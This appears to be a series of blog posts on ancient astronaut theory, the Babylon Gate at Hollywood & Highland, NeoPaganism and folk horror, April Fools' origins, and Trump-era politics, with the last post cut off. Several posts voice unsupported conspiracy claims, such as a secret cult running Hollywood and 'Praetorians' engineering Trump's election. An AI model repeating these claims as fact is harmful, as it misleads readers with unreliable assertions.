Historical and empirical studies of the behavior of peoples and their leaders when confronted with dramatic and unfamiliar events or social pressures. Such studies might help to provide programs for meeting and adjusting to the implications of such a discovery. Questions one might wish to answer by such studies would include: How might such information, under what circumstances, be presented to or withheld from the public for what ends?  
And lo and behold, 57 years after the Brookings Report we get this:
The solar system that humanity calls home may have once been inhabited by an extinct species of spacefaring aliens, a top scientist has suggested. 
A space scientist has suggested ancient extraterrestrials could have lived on Mars, Venus or even Earth before disappearing without a trace. 
In a fascinating academic paper about “prior indigenous technological species,” Jason T. Wright from Pennsylvania State University raised the fascinating possibility that evidence of these extinct aliens could exist somewhere in the solar system. 
Wright is an astronomer who received global attention after suggesting an “alien megastructure” had been spotted in orbit around a distant star.Now the stargazer has said advanced aliens may have left behind “technosignatures” for us to find — if only we knew where to look for them.
Of course, this is exactly what Richard Hoagland has been talking about- and has been roundly attacked for doing so- for at least the past 40 years. But I suppose it's different when the very same theorizing comes from within the priesthood.



It's funny; last night I was cutting the grass and thinking about stuff. You know, like you do when you're cutting the grass. Then I started mulling over how simplistic and repetitive the Ancient Aliens show is and how quickly Giorgio Tsoukalos transformed himself into a cartoon character. 

But then I realized that's how educational indoctrination works in our culture. 

All kinds of teaching and training materials in public schools use cartoon characters, right? Walt Disney probably made a fortune licensing his characters for educational films. And it's through repetition that people really learn anything. 

So Ancient Aliens might chew over the same gristle year after year but that helps keep its messaging consistent as its audience ebbs and flows (read: enters/graduates high school). Love it or loathe it, you have to acknowledge that there's a cogent methodology at work there. 

Government-conditioning program or cult indoctrination, they all work out of the same toolbox.

Is it all leading up to some major revelation, the way 'Disclosure' advocates expect? Or is all leading up to some massive Project Blue Beam type of hoax? 

Well,  why would anyone expect it to? Why would anyone expect the skies to open- or not- as the climax of all this conditioning? 

The answer, of course, is Hollywood. Because that's the way it works in the movies. Real life doesn't usually work that way. 

However, no matter who or what is behind all this the fact remains that, like it or don't, AAT (and the UFO topic in general) have already dramatically changed our culture, our technology and our society. Certainly our popular culture. 

Being a bit long in the tooth it still boggles my mind how many younger people take the basic assumptions of AAT for granted, even if they haven't read a page of Sitchin or Von Daniken or even watched a single Ancient Aliens. They don't have to. So much of their favorite pop culture is neck deep in it.



*You can toss in the Sekret Machines project here, spearheaded by former Blink 182 guitarist Tom Delonge and Peter Levenda of Necronomicon and Sinister Forces fame, and involving all kinds of Deep State heavies such as John Podesta.


          Covenant and the Cargo Cult, Part 2: Hollywood Babylon   



Several years ago I blogged on the Oscars and the enigma of the Hollywood and Highland complex they're held in, specifically the very odd presence of the Babylon Gate, recreated from DW Griffith's epic flop, Intolerance. As I wrote back in 2008:
The rear entrance to the theatre is a massive recreation of the Babylon Gate from D.W. Griffiths’s Intolerance (Griffith was yet another Hollywood Freemason)... Near the top rim of the gate is a border design made of 17 keyhole-shaped objects. It seems only appropriate that behind the Babylon Gate stands the Renaissance Hotel, located on the 1700 block of Highland Ave. 
All well and good, right? Now ask yourself- what in Heaven's name is this doing in the courtyard of the venue where the World's most prominent awards ceremony is held every year? What connection is this alleged to have to the Oscars? I mean, the symbolism is obvious but what's the cover story?
Well, apparently the cover story is that the legendary writer Ray Bradbury- the poet laureate of science fiction-- insisted that the Gate be installed at the plaza. Why exactly and exactly how he had such pull with the H&H developers is a real brain-teaser. Bradbury is quoted thusly:
"I told them that somewhere in the city, they had to build the set from the 1916 film Intolerance by D. W. Griffith. The set, with its massive, wonderful pillars and beautiful white elephants on top, now stands at the corner of Hollywood and Highland avenues. People from all over the world come to visit, all because I told them to build it. I hope at some time in the future, they will call it the Bradbury Pavilion." 
Well, that's all well and good but the fact remains that the planners probably wouldn't have gone to the trouble and expense of recreating the Gate simply to humor a writer, no matter how respected he may be. And there's the blindingly obvious symbolism to be unpacked here.

Because what we're talking about here is the literalizing of "Hollywood Babylon," which you have to admit is kind of a ballsy, in-your-face kind of move. Note you don't see any other pseudo-cyclopean artifacts from any other ancient culture there. Of course, what it also does is make a very specific and definitive statement as to what Tinseltown holds most sacred. 

I mean, Babylon. Think about it for a moment. 

Did I mention that they hold the Oscars here, the 800-pound gorilla of all award ceremonies?

As you may already know, Babylon is a Greek rendering of the Akkadian bav-ilim, which means "Gate of the Gods." So the H&H gate is in fact a symbolic representation of a portal to the world of the gods, or a stargate if you prefer.

What's more, Babylon was founded by the great usurper Sargon of Akkad, who we discussed last year not only for his conquest of Sumer-- and all that implies-- but for the possible fingerprints he might have left on several Bible stories as well as the Prometheus mythologies.
Now, pay close attention to what happened next- the devil, as always, is in the details: A Lugal- a giant- bound in chains to appease a sky god: why does that sound so familiar?  
Oh yeah, because that's Prometheus' story as well.
 Lugal-zagesi marched his army from Kish to meet Sargon in battle and was defeated. Sargon then put Zagesi in chains, tied a rope around his neck, and took him to the city of Nippur, sacred to the god Enlil upon whom Lugalzagesi had relied, and forced him to march in humiliation through the Enlil's gate. 
Again with the gates.

So the Babylon Gate doesn't just connect back to Sumer and the foundation of Western civilization and the monotheistic religions (Abraham was actually Sumerian), it also ties into-- you guessed it-- Ancient Astronaut Theory, specifically through the influential work of Zecharia Sitchin. 

For whatever problems Sitchin's work may have, no one did more to identify Sumer with ancient astronauts in the public imagination. 



Did I mention that many of the biggest SF movie/TV franchises coming out of Hollywood have Ancient Astronaut Theory as the basis of their mythology? I did? Good. 

I would argue that the Gate also ties into the Lucifer archetype through the Zagesi-Prometheus link, not to mention through the fascinating constellation of mysterious yet crucially important Sumero-Akkadian fire gods, variously known as Gibil (Gilgamesh is a rendering of Gi-bil-aga-mis, which literally means "Gibil is commander"), Girra (which literally means "Light-Bringer"), Nusku (the guardian of dreams and lord of the night) and others. 

This Babylonian Lucifer was described in language anyone raised Christian would recognize (such as "first-born son of God," for starters) two-thousand years before Jesus walked the Earth. 

This Babylonian Lucifer was also a binary god. He Incarnated the elemental power of fire, so over the years there were both benevolent and malevolent fire gods. The badass fire god was Nergal, god of the underworld (also known as Lugalgirra, Erra, etc). Like Osiris (immortalized in the Oscar statuette itself) Nergal was believed to represent the Sun in the underworld.

This of course re-emerged in the form of the much-later innovation of Satan and Lucifer representing the dark and light natures of the Princes of Hell. How exactly that little arrangement arose in the Middle Ages, when the original Akkadian/Babylonian texts were believed to have been long lost, is another puzzler altogether.

The Babylonian Lucifer not only surfed his way along the waves of cultural displacement,  the Assyrians saw him as a bulwark against black magic and witchcraft, as recorded so famously in the astonishing Maqlu grimoire (which Necromonicon fans should really take the time to read).

So I should probably insert the fact that Gordon referred to Alien: Covenant as a "Space Lucifer" movie, for reasons I get even though I haven't seen the movie yet. Well, I should say that haven't seen the last third of the movie that hasn't been previewed or clipped on YouTube.

PERSISTENCE

I have to admit it blows my mind  how the Sumerian religion-- which existed for millennia before the Sumerians were displaced from the roll of history-- was adopted with only superficial innovations by their conquerors. And their conquerors. And their conqueror's conqueror's conquerors. 

You're looking at a tradition that arose out of Neolithic times-- at the least-- and persisted up until the time of the Muslim conquests (albeit in a relatively-reduced form as "Chaldean Magic"). And of course it had a major influence on the Biblical tradition as well as on Zoroastrianism (which seems to be very heavily informed by Girra/Nusku temple practices brought back to Iran after the Achaemenid conquest of Babylon).

And in a way the Sumerian religion endures to this day. Not only in the influence it had on the Abrahamic religions but also in its Space Age makeover as the backbone of AAT and alien conspiracy theory, which themselves are slowing evolving into (neo-Gnostic) religions of their own. 

Don't believe me? Go to YouTube and run a search on Anunaki. I just did and it coughed up a whopping 399,00o results.

But the Anunaki aren't the only Sumerian gods in town these days. There are also the Igigi, who some have compared to the Greys of UFO lore fame. And more recently, there seems to be a rediscovery of the Seven Sages, aka the Apkallu.

It is noted, “The Apkallu were seven demigods created by Enki, one of the chief Sumerian gods…Enki referred to as ‘Ea,’ which is the name he was later given in Babylonian and Akkadian mythology.” As a styled sidenote, see Seven gods of chaos. Also, you may recall the reference to Enkin in Is the Bible an Anunnaki control mechanism? 
(A)s per the Sumerian mythology “These beings were sent by Enki to teach human beings the arts of civilization: agriculture, writing, building, and so on.” Which correlates to the Book of Enoch noting that various Angels called “Watchers” taught humanity various skills.
Indeed they do. The Apkallu are practically a godsend to any Ancient Astronaut theorist worth his aluminum. Note that Apkallu are usually depicted with wings, being the origin of  the association of angels and wings. Well, the ones that aren't depicted as fish like our old friend Adapa, better known as Oannes.

What's more, the Apkallu are yet another example of what Gordon White calls the "civilizing trickster gods." Maybe one of the first, actually.

Gee, kind of like what's-his-name. You know, Prometheus:

(T)he origin of Watchers derives from the Mesopotamian mythology of the antediluvian sages (apkallus). More precisely, it is proposed that the mythology of Watchers and their sons the giants derived from inverted versions of various Mesopotamian myths and beliefs about apkallus. On some layers of Mesopotamian mythology and ritual practices, the sages were already regarded as dangerous and potentially malicious creatures, upon which the Jewish authors could build their parody.  
Among other associations, the apkallus had strong ties to Mesopotamian demonology, and they were occasionally counted as evil beings, capable of witchcraft. This shows that the wickedness of antediluvian teachers of humankind in Jewish sources was not wholly an inversion of the Mesopotamian traditions by Jewish scholars, but was partly taken from already existing trends in Mesopotamian demonology.

So it's probably here that I should mention that the figures on the Hollywood Babylon Gate are actually Apkallu. Yeah, how about that, huh?

Then I should mention that this very oddly-specific bit of product placement ties back to a very ancient practice indeed:
Figurines of apkallus were buried in boxes as foundationdeposits in Mesopotamian buildings in order to avert evil fromthe house. The term massar, ‘watchers’, is used of these setsof gurines in Akkadian incantations according to ritual texts.This appellation matches the Aramaic term yryn, ‘the wakefulones’, for both good angels and the Watchers.
So the more you look at it, the more significant that gate looks. And the less likely it was put there on Ray Bradbury's suggestion. Unless he too was part of the cult.

Which cult am I referring to here? Well, indulge me for a moment.

Take all the major franchises, minor franchises, movies, cartoons and TV shows (not to mention video games) that center around Ancient Astronaut Theory, then factor the Hollywood & Highland Babylon Gate into the equation. 


Thanks to Reader Brooke

You'll probably see why I strongly suspect there may be a secret cargo cult at the very heart of the entertainment industry. I'm not alone in this. A lot of Christian conspiracy theorists believe AAT is the "Great Deception" the Bible warns of.

I should also remind everyone that AAT made a big, bad splash into the entertainment racket mere weeks after Kenneth Arnold and Roswell, in the form of "Son of the Sun," written by occultist Millen Cooke.

So what you're probably asking yourself is what difference does all this make in the Age of Trump and 'the Resistance' and all the rest of it? Well, Trump will probably be gone soon (my guess at least*) and so too will the endless shitstorm he's kicked up in his wake.  

And all of this Anunaki stuff will still be there, waiting patiently. It's had thousands of years to practice. It's seen quite a few Trumps and 'Resistances' come and go. It all seems to be following a very specific arc and moving towards a very specific destination.




TO BE CONTINUED


* As I wrote in the FB group, "The Praetorians engineered Trump's election precisely because they planned to remove him. They would have done the same with Hillary but figured Trump was a softer target." History teaches us that's the way Praetorians roll.

          Reel Paganism::The "Folk Horror" Revival    

Ah, those Years of Seven. We looked at the significant anniversaries in the World of Weird this Year of Seven is marking, from Heaven's Gate and the Phoenix Lights to the Harmonic Convergence to the releases of Star Wars and Close Encounters of the First Kind. As it happens, there's another major anniversary on the docket this year and that's the birth of the modern "NeoPagan" movement.
Fifty years ago, in 1967, three organizations were formed which would have a profound impact on the shape of contemporary Paganism: Frederick Adams founded Feraferia, a wilderness mystery religion; Aidan Kelly and others formed the New Reformed Order of the Golden Dawn, an eclectic witchcraft tradition; and Tim (Oberon) Zell filed for incorporation of the Church of All Worlds, which was based on the fictional religion described in Robert Heinlein’s novel, Stranger in a Strange Land.
As the Church of All Worlds shows, the NeoPagan movement was born out of the rising Geek insurgency, out of a fermenting sub-subculture in which Dune, Star Trek and Lord of the Rings had well and colonized the imaginations of the young and dateless.

The crossover would become so successful that the strict atheism and naturalism that had once been de rigeur in sci-fi (and fandom in general) would soon be put on its back foot by this new Mysticism, a current that would revolutionize pop culture with the runaway success of Star Wars.

NeoPaganism occupied a fair bit of real estate in the collective mind of Fandom but has never been the upstart mass movement its adherents might have you believe. It probably peaked as a movement in the 1990s (with Buffy, the Vampire Slayer) and, if the current alarm bells being rung in the NeoPaganism blogosphere are any indication, has been receding ever since. So much so that many NeoPagans believe the jig is finally up.

Contemporary Paganism isn’t an institution, but we do have institutions, and many of them are  struggling to survive.  Cherry Hill Seminary announced last year that it might not be able to continue its programming.  CUUPS is hardly thriving.  The Pagan Community Statement on the Environment, which is quite possibly the single largest expression of Pagan voices ever, has not yet collected a mere 10,000 signatures in the two years since it was published.  And, as far as I can tell, none of the organizers of Pagan festivals and conferences have reported significant growth in recent years. These are just a few examples of Pagan institutions that I have been involved with to one degree or another over the years.
In Britain, where so much of the Wicca and NeoPaganism we recognize today was born, the situation seems pretty much the same. NeoPaganism is struggling there too, ironically as the current Chaos Magick revival is picking up steam.
 I’ve been told that the number of registered members of the Pagan Federation has gone down for the first time. At the Harvest Moon Conference in 2016, Melissa Harrington confessed that she felt that this decline in active participation was indicative of Paganism “going underground” again. Most of the Pagan Federation events I’ve been to recently have shown a similar demographic spread to OBOD ones. 
My concern is that the declining number of young participants in the Pagan community in Britain, and the general diminution of those taking an active role in the community as a whole, indicates that that growth has stalled. British Paganism—as a subculture and as a movement—is in trouble.
I'm not at all surprised by this. I'd wager that most NeoPagans had some kind of traditional religious upbringing, which made them at least casually familiar with the basics of ritual and theology. With traditional religion a fading memory among NeoPaganism's mission field, it becomes harder than ever to attract people to the surrogate community that NeoPaganism promises. 

But there's also the problem of the movement failing to deliver what it promises:
What is in decline, then, is something quite specific—the Pagan Movement; a collection of organisations, publications, ceremonial genres, training courses. That collection is no longer feeding the appetite of the general public for the magical.
Then there's the prickly issue of sectarianism. NeoPaganism bears only a glancing resemblance to the ancient variety, but it's chock full of the kind of perpetual fragmentation that a Pagan in ancient Alexandria might have been sick of. One blogger is even pushing an atheist strand of NeoPaganism:
Atheopaganism is post-Belief religion. It is evidence-based spirituality rooted in real-world, positive, life-affirming values. It gives us what religion is good at giving us, and avoids trying to do what science can clearly do better. 
I believe it is in broad strokes what succeeding generations will practice in growing numbers. It is what will give meaning and build community for people who have left behind the ideas of gods and magic.
Yeah, good luck with that. After all, discarding your traditional core tenets has worked out so well for the so-called Mainline denominations. 

Like the churches that so many NeoPagans grew out of, the movement is looking to political activism to "stay relevant." But people interested in activism now have a endless buffet of NGOs and pressure groups to choose from, and most activists today tend to see any flavor of spirituality as regressive and impolite. Which may be why most Mainline Christian denominations are now fading into history.

But a strong argument could be made that NeoPaganism is fading because the overall culture has been so effectively paganized. If that's true, then where do you go from there?



 Scarlet Imprint publisher Peter Gray was a bit ahead of the curve when he announced the impending death of NeoPaganism three years back. And he sees the same trends at work- Neopaganism is fading because it's no longer needed:
There is no halting the decline of the initiatic witchcraft traditions of Gardner or Sanders, nor the collapse of neo-paganism. The reason? To use the correct mimetic formula: Because Internet. People are having their needs met by the online simulacra of witchcraft. Those who are seeking witchcraft simply do not have to hunt out lineages, everything is before them in the digital form that has socialised them while their parents paid more attention to their smartphones.
Gray calls for the "rewilding"of Witchcraft, for the art to return to its outlaw roots. He wants to recapture the danger of Witchcraft, which he believes- rightly- has been traded away by Wiccans and their fellow travelers. 

But the question then becomes how wild are you willing to be? Witches are killed on on a fairly regular basis in developing countries because they're seen as dangerous and taboo. In our anything-goes culture what exactly do you have to do to recapture that outlaw sheen? It's no small question. Why?
Well, because the Gardnerian Book of Shadows tells us exactly how dark ancient witchcraft and Paganism could get: 
Priests know this well; and by their auto-da-fé, with the victims' pain and terror (the fires acting much the same as circles), obtained much power. Of old the Flagellants certainly evoked power, but through not being confined in a circle much was lost. The amount of power raised was so great and continuous that anyone with knowledge could direct and use it; and it is most probable that the classical and heathen sacrifices were used in the same way. There are whispers that when the human victim was a willing sacrifice, with his mind directed on the Great Work and with highly skilled assistants, wonders ensued but of this I would not speak.”  
Which brings us to the Folk Horror revival.

Back to the recent Beltane Fire Festival.
The event, first organised in the mid-1980s, marks the ending of winter and is a revival of the ancient Celtic and Pagan festival of Beltane, the Gaelic name for the month of May.
Thousands of spectators gathered on Calton Hill in the Scottish capital to watch drummers, fire dancers, physical theatre and a large bonfire.
During the event, the Green Man is killed as god of winter and reborn as spring to consort with the May Queen.
This is a big deal in Scotland. And other types of ancient festival revivals have been popping up in Britain over the past several years as well, particularly in provincial towns looking to drum up tourism. 

But do note that in the ancient Beltane festivals the Green Man was actually killed as a sacrifice to the gods of the crops. The Edinburgh festival obviously stops short of this, but this is like trading out wine for grape juice at communion. The real McCoy is baked into the rite itself and soaks through to the surface. It can't help but.
So what does this all have to do with the so-called Folk Horror revival? Well, the folk component of the genre doesn't refer to old Joan Baez records. It draws upon the idea of ancient folkways- often those centering on human sacrifice- bubbling back up to the surface and violently intruding on the lives of unwitting cosmopolitans.
Unlike other sub-genres, folk horror’s very form is difficult to convey. Despite what its simplistic description implies – from the emphasis on the horrific side of folklore to a very literal horror of people – the term’s fluctuating emphasis makes it difficult to pin down outside of a handful of popular examples. 
The term first came to prominence in 2010 when Mark Gatiss used it as an umbrella theme to describe a number of films in his A History of Horror documentary for BBC4. Yet the term was used in the programme in reference to an earlier interview with the director Piers Haggard for Fangoria magazine in 2004, in which Haggard suggests of his own film The Blood on Satan’s Claw (1971) that he “was trying to make a folk horror film”.
The revival encompasses a number of films and novels but regards three British films as the sacred texts of the genre:
The trilogy, now often known under the banner of the ‘Unholy Trinity’, consist of Michael Reeves’ Witchfinder General (1968), Piers Haggard’s The Blood on Satan’s Claw and Robin Hardy’s The Wicker Man (1973). Though their imagery has since defined all things “olde” and “wyrd” about Britain (see the cover of Sight & Sound, August 2010), it is in their narratives where folk horror becomes defined.  
All three films work through an emphasis on landscape which subsequently isolates its communities and individuals, skewing the dominant moral and theological systems enough to cause violence, human sacrifices, torture and even demonic and supernatural summonings.  
The Witchfinder General traumatized me when I watched it on Creature Double Feature way back in the day. Unlike most of the other Folk Horror landmarks it's based on real-life events.
HP Lovecraft's shadow looms over the genre, whether he likes it or not. There are obviously significant differences but a lot of his stories seem to center on city-slickers dealing with hideous eruptions of the primeval in decaying rural outposts. Lovecraft is often criticized for his racism but the truth is he didn't seem to like much of anybody outside his perceived social set.

From "The Call of Cthulhu" to "The Shadow Over Innsmouth" to "The Festival" it's pretty obvious exactly where Lovecraft was coming from. Lovecraft was terrified that modern civilization was nothing more than a fragile veneer, ready to flake away under the slightest existential pressure. And cults and cultic practices were like the monster under Lovecraft's bed, always ready to pounce once the lights went out.

(In this context, Stuart Gordon's fever-dream film version of Dagon could be seen as an outlier within the Folk Horror genre).
Lovecraft enjoyed his own revival in the 1960s and one can't help but wonder what kind of effect he had on the emerging Folk Horror genre. The Wicker Man is often seen today as a kind of one-off but in fact it was following very closely in the footsteps of earlier films. 



The Witches, partly written by Nigel Kneale, is an early example of the type as is Eye of the Devil, which made a star of Sharon Tate. In the kind of hideous synchronicity that follows all potent art like a lost puppy,   Tate would become a sacrifice to the kind of cult that probably haunted Lovecraft's nightmares.  

Both films, released in 1966 and 1967 respectively, worked the theme of an outsider to a rural community discovering grisly ancient practices lurking beneath a placid rustic surface. Eye of the Devil, like The Wicker Man, centers on crop failure and the need of the community to kill its ritual king to appease the gods of the fields. So the fields were already well-furrowed by the time Anthony Shaffer and Robin Hardy had their brainstorm.


Thomas Tryon's 1973 novel Harvest Home was adapted into a TV miniseries in the late 70s and taps in the same vein: in this case a New York family moves to a small town and discovers that their new neighbors still practice the ancient Celtic folkways. Since it's based on an American novel it's usually overlooked by Folk Horror revivalists, but it's a solid example of the type. Maybe one of the more potent examples, actually. Shame it's not better known.
There are variations on the theme to be found during this same Golden Age (the late 60s to the early 70s). The Shuttered Room, based on a story HP Lovecraft cowrote with August Derleth is a variation on the type, as is Sam Peckinpah's Straw Dogs, which starred Dustin Hoffman as an American married to a British woman played by Susan George. They move to the rural English village where the George character grew up and are menaced by a gang of local thugs. Straw Dogs was remade in 2011 and moved to the rural South. Of course.



A more recent example of the type is Kill List, an absolutely extraordinary film that has you believing you're watching one kind of British drama before pulling the rug out from under your feet and landing you in quite another altogether. I'm not going to say too much more about it since you really should see it for yourself.
But The Wicker Man (also remade, badly, in 2006) remains the King of the Folk Horror Crop. The film hardly seems like a horror movie for most of its running time, more like a quirky musical comedy, kind of a warped Brigadoon. And it's based in ancient Celtic rituals, or at least legends of ancient Celtic rituals.
The idea of a “wickerman” is reminiscent of references in both Irish legend and the second branch of the WelshMabinogi to men being inveigled into a specially built house, which is then set fire, immolating them. There is also a reference by Lucan, and the comments by later scholars as part of the Lucan scholia, in the Pharsalia,to three Celtic deities; Taranis said to have been propitiated by burning, Teutates by drowning, and Esus by hanging. Esus is mythologically similar to the Nordic deity Odin, also associated with hanging from a tree. 
But it wasn't only the Celts who practiced human sacrifice. The Normans, who conquered England in the 11th Century, were huge fans of human sacrifice before giving in to Christian convention. Warlord Rollo was a exemplar of the Norman split-personality when it came honoring the ancient Viking folkways.
Adémar of Chabannes, however, writing about 100 years after Rollo’s death, described his last days as a time of religious madness, in which the Heathen ‘Rollo’ rose up against the Christian ‘Robert’ and in a desperate attempt to atone for the betrayal of Odin and Thor ordered the beheading of 100 Christians as sacrifices to them. This was followed by a frenzied attempt to balance the books yet again when he distributed ‘one hundred pounds of gold round the churches in honour of the true god in whose name he had accepted baptism’. 
Is Rollo the spiritual founding father of Folk Horror? Sounds like it to me. There's an inherent schizophrenia at work in the genre, building on the paranoid truism that things are never what they seem, that ancient horrors are always lurking beneath respectable surfaces, looking for a way out.

So what is the driving impulse behind Folk Horror? It's an inherently Pagan form, an immersion into the dark mysteries of the countryside. It feels deeply atavistic, like a twisted celebration of the premodern. The genre often seems to address a very human desire to belong to a tribe that's both nurturing and absolutely fearless, even if that tribe are presented as villains.

But there's also that repressed impulse to bask in somebody else's sacrifice, to exercise that kind of complete control over life and death. Post-Enlightenment culture has worked around the clock to erase all this from our firmware but only seems to have moved the pieces around the board.

By contrast, NeoPaganism was always going to be a nonstarter because it pretended it could recapture the positive aspects of the old folkways and discard all those it found problematic. It also believed it could recreate the bonds of blood and soil in a urban- or more accurately, suburban- setting. That it could soak up all the richness and drama of ancient Paganism without getting its hands dirty. Or more accurately again, bloody.

Sorry, but that's not the way it works.

Folk Horror dispenses with all that and reminds everyone that life and death were barely a whisper apart in the old times. That bloodshed was a daily fact of life back then. It's just the way things worked. After all, it wasn't so long ago that housewives killed their own chickens. No one blinked at the sacrifice of a lamb or a piglet at even the swankiest Mystery cults. Bacchanalias often ended up with Maenads ripping wild animals limb from limb (Maenad actually means "raving one"). 

Sacrifice was absolutely inseparable from belief. By contrast NeoPaganism feels more like a slightly more exotic form of Unitarianism. Sort on spectacle and sacrifice and long on sanctimony. 

So my guess is that the Edinburgh Beltane Festival is so popular not only for the nudity and the LARPing but also for serving up a vicarious echo from those olden days, when these dramas were all played for keeps.

Not all Folk Horror is based in Pagan human sacrifice but the death and horror that people once took for granted are tightly wound into its weave. So it will be worth watching to see where this genre goes in response to the hyper-acceleration of Globalism and technocracy. For now it serves as a way to soak up the olde dramas without making much of a mess. It could go eventually go in another direction entirely, kind of like how The Wicker Man led to the Burning Man Festival. 

It could even lead to a neo-NeoPaganism. Stranger things have happened, right?

          The Holy Fool (Updated 4/1/2017)   

The jingling of bells during the dance is meant to frighten evil spirits and the clashing of sticks represent the fight between good and evil. The dancer who weaves in and out of the team of dancers is known as the Fool and whilst his dance seems to be that of a random nature, in fact his is a very intricate dance and represents the naivety of man. A dancer who is dressed as an animal character shows mans reliance on nature. Handkerchiefs emphasise the hand movements during the dance.- Crop Fertility Rituals
The Kalends of April are sacred to Venus, as is the entire month, and this day has been called the Veneralia. Public games, ludi, would be held in honor of the deity. This day was also known as All Fools Day to the Romans, and they would spend the entire day celebrating with comic hilarity, doing things backwards, wearing women's clothes, dancing in the streets, and generally carrying on in the most in the most foolish and congenial manner. 
This is one of the few Roman holidays that has preserved some of its original character, under the modern name April Fools Day. In Egypt, this day was celebrated as the Birthday of the god Hathor.- (link)


The Anglo-Saxons called April Oster-monath or Eostur-monath, the period sacred to Eostre or Ostara, the pagan Saxon goddess of spring, from whose name is derived the modern Easter.- Wikipedia

It's probably no coincidence that April Fools' Day is celebrated at the same time that two other similar holidays are celebrated. In ancient Rome, the festival of Hilaria was thrown to celebrate the resurrection of the god Attis. Hilaria is probably the base word for hilarity and hilarious, which mean great merriment. Today, Hilaria is also known as Roman Laughing Day. -How Stuff Works

In tribute to Attis, the priests of Cybele - known as Galli or Galloi - would castrate themselves and dress as women. They’d then travel the countryside, and perform wild musical rituals to the Great Mother just as Attis did...


Ancient historians held a variety of opinions on the Galloi, from admiration to bemusement to ridicule to hostility. But everyone seemed to agree that the Galloi loved to kick up a racket. Their rituals and festivals made Woodstock look like a ladies’ club luncheon.


The public performances of the Galloi were so intense that crowds would be driven into a religious frenzy...
... The Galloi even made an appearance in Apuleius’ Metamorphoses, the classic Roman comic novel. The story concerns an amateur sorcerer named Lucius, who mucks up a spell and turns himself into a donkey. Lucius is then sold to a wandering band of Galloi and dragged around while the priests travel the countryside, often performing their act door-to-door. 
Obviously not a fan, Lucius describes the Galloi's rites, which include an eerily-exact precursor of heavy metal headbanging: “They arrived at a rich man's villa and screeching their tuneless threnes from the moment they saw the gates, they rushed frantically inside. Bending their heads, they twisted, writhed and rolled their necks to and fro while their long hair swung round in circles.”-- The Secret History of Rock 'n' Roll


 "The local [Phrygian] legend about him [Attis] being this. Zeus [i.e. the Phrygian sky-god identified with Zeus], it is said, let fall in his sleep seed upon the ground, which in course of time sent up a Daimon, with two sexual organs, male and female. They call the daimon Agdistis. But the gods, fearing Agdistis, cut off the male organ. 
There grew up from it an almond-tree with its fruit ripe, and a daughter of the river Saggarios (Sangarius), they say, took the fruit and laid it in her bosom, when it at once disappeared, but she was with child. A boy was born, and exposed, but wastended by a he-goat.
 
As he grew up his beauty was more than human, and Agdistis [Kybele] fell in love with him. When he had grown up, Attis was sent by his relatives to Pessinos [city in Phrygia], that he might wed the king's daughter. The marriage-song was being sung, when Agdistis appeared, and Attis went mad and cut off his genitals, as also did he who was giving him his daughter in marriage. 
But Agdistis repented of what she had done to Attis, and persuaded Zeus to grant the body of Attis should neither rot at all nor decay. These are the most popular forms of the legend of Attis." Pausanias, Description of Greece   

When Gilgamesh returns to Uruk, he washes the filth of battle from his hair and body. He dons a clean robe and cloak, wipes Humbaba’s blood off his weapons and polishes them. When he ties his hair back and sets his crown on his head, he looks so splendid that Ishtar, the goddess of love and war, is overcome with lust. She pleads with Gilgamesh to be her husband. She promises him a harvest of riches if he plants his seed in her body. She tells him they will live together in a house made of cedar, and that she will give him a lapis lazuli chariot with golden wheels. She says that kings and princes will offer him all their wealth.  
But Gilgamesh refuses to be her plaything. He has nothing to offer her in return, since, as a goddess, she has everything she could ever want. He says that her desire for his body is fleeting, and that she’ll soon lose interest. He tells her he knows what happened to her other human lovers, and they’ve all learned how traitorous and cruel her heart and whims are.  
Her husband, Tammuz, the shepherd, became a captive in the underworld and is mourned in festivals every year. Another shepherd she loved became a broken-winged bird. She loved the lion, then ensured that he was captured in “ambush pits.” She loved the stallion but contrived harnesses and whips and spurs to control him. When a goat herder loved her, she turned him into a wolf. When her father’s gardener rejected her advances, she turned him into a frog. Gilgamesh asks why he should expect to fare any better. -- "The Epic of Gilgamesh"
Gilgamesh means "Gibil is Commander."


Perhaps the biggest change came from the initiated version of the Tarot that the original Golden Dawn (and its later offshoots) used. In that deck, the Fool is represented as a naked child of indeterminate sex, who is accompanied by a wolf on a leash, who is reaching up for a rose. In Golden Dawn, the Fool represents the god Harpocrates, the Egyptian god Horus as a young child. - Associated Content

"The four magic symbols, the sceptre, the cup, the sword and the pentacle. The fool always carries them, although he has long since forgotten what they mean. Nevertheless they belong to him, even though he does not know their use. The symbols have not lost their power, they retain it in themselves. - P D. Ouspensky
One theory for its origin, and perhaps the most widely accepted, relates to the European transition from the Julian to the Gregorian calendar. At the Council of Trent in 1563, Pope Gregory XIII issued a papal bull decreeing that Christian countries should adopt a new standardised calendar. Now the internationally accepted calendar in the Western World, the Gregorian calendar was adopted due to its greater accuracy compared to the Julian calendar. One consequence of the transition however, was that New Years Day moved from 1st April to the 1st January. 
Although resisted by the Protestant countries in Europe, the new calendar was officially adopted by the Catholic states reasonably quickly. However, presenting the news of the transition across largely rural populations was a much slower task. Supposedly, this was a particular problem following France’s switch to the new calendar in 1582. People who continued to celebrate the New Year at the end of March became the targets for jokes, pranks and hoaxes. This included having paper fish attached to their backs, and being called ‘April fish’, in reference to their supposed gullibility. -- New Historian
 

          Spy vs Spy: Stuck in the Funhouse   

Funhouses are only fun when you can leave them. When the distorting mirror images become your new, day-to-day reality construct, then it's not so much fun anymore. 

I dreaded the 2016 Election because I had a very strong feeling that no matter who won we'd be plunged into a dystopian paradigm in which major power blocs would erupt into all-out warfare. And I sensed that neither Trump nor Clinton possessed the political skills or the communicative powers to keep the carnage fully out of our view. Or our path.


And I was right.


Trump's only been in office for a little over two months and I'm exhausted already. I'm certainly not alone in this. It all feels like a TV sitcom in its seventh season, well after the writers ran out of story ideas. The shark has been good and jumped. And the ratings (the approval ratings, in this case) are plunging too.


What is truly demoralizing though is the utter transparency of the secret war playing out, the seemingly endless spy vs spy thrust and counter-thrust, and the obvious deceptions. Even more so is the Animal Farm-like metamorphosis of the Democratic Party into a full-blown, funhouse mirror of McCarthy-era Republicans, but with Glenn Beck-worthy conspiracy theories thrown in for good measure.


I don't know about you but all of a sudden the world seems especially cold, hard, gray, harsh. Masks are coming off, velvet gloves tossed into wastebins. It doesn't seem to matter who wins the scorpion fight, you're still stuck with a scorpion.  

We can't call out the play-by-play because it's largely being acted out behind closed doors. But we can look at the collateral damage and make certain speculations. There's no doubt that it would all be just as bad-- probably worse-- if Hillary won. Even so, this all feels especially grating.

You've probably seen this story:
Conspiracy theorist Alex Jones on Friday apologized to the owner of a Washington pizzeria that became the subject of a conspiracy theory about human trafficking last year. 
